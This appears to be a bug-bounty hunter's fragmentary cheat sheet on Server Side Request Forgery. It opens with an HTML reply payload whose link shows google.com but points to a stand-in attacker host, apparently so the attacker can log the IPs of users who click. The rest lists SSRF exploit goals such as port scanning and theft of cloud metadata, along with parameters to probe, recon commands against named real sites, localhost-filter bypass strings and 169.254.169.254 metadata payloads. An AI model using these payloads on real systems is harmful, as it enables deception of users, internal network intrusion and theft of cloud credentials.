download?tempkey=2199dab4-d0ba-4965-a445-0ac853b8d278
Reply to any post and in payload add this as source
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Refresh" content="5;url=https://www.google.com">
</head>
<body>
<p>Sorry! We have moved! The new URL is: <a
href="https://www.hacker_server.com">https://www.google.com</a></p>
<p>You will be redirected to the new address in five seconds.</p>
<p>If you see this message for more than 5 seconds, please click on the link above!
</p>
</body>
</html>
Once user click on google.com , the ip and logs will interact via bentley server to
hacker server.
<p>Sorry! We have moved! The new URL is: <a
href="https://www.hacker_server.com">https://www.google.com</a></p>
<p>You will be redirected to the new address in five seconds.</p>
<p>If you see this message for more than 5 seconds, please click on the link above!
</p>
SSRF
Server Side Request Forgery
IMP:
1. Do exploit then report
2. if DNS then no use
3. Write each step
Detection SSRF : HTTP
1. Burp Collaborator
2. Ext: Collaborator everywhere
Exploits:
1. Port scanning
2. File over a port
3. Backend system scan/machine
4. SSRF to DoS
5. SSRF information disclosure
6. SSRF to aws metadata
7. SSRF to random escaltion
8. Whitelist/Blacklist SSRF bypass
Tool: Waybackurls
Burp
Where ?
Headers
Add link
upload photo
insert URL
add website to bio
convert files
SSRF ?
https://target.com/user/profile?imageurl=https://burplink.net
https://clickjacker.io
https://document.online-convert.com/convert/docx-to-pdf
site.com/admin/ep/img?file=https://test.com/admin.png
IMP : Images : png . jpeg . jpg
look for : cdn-cgi
.
#
@
https://quizlet.com/cdn-cgi/image/f=auto,fit=cover,h=100,onerror=redirect,w=120/
https://farm1.staticflickr.com.burp.net:80/21/29703429_17b4da0aef.jpg
https://web.archive.org/cdx/search/cdx?
url=*.quizlet.com&output=text&fl=original&collapse=urlkey
======================
Backend
proxy
page
width
url
redirect
file
height
cdn-cgi
localhost
echo tomcat.tiler01.huygens.knaw.nl | gau | tee test-ssrf
127.0.0.1
127.0.1
127.1
0.0.0.0
0.0.0
0.0
0
[:]
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++==
APIPA
Payloads
http://169.254.169.254/latest/
169.254.169.254/latest
https://169.254.169.254/latest/
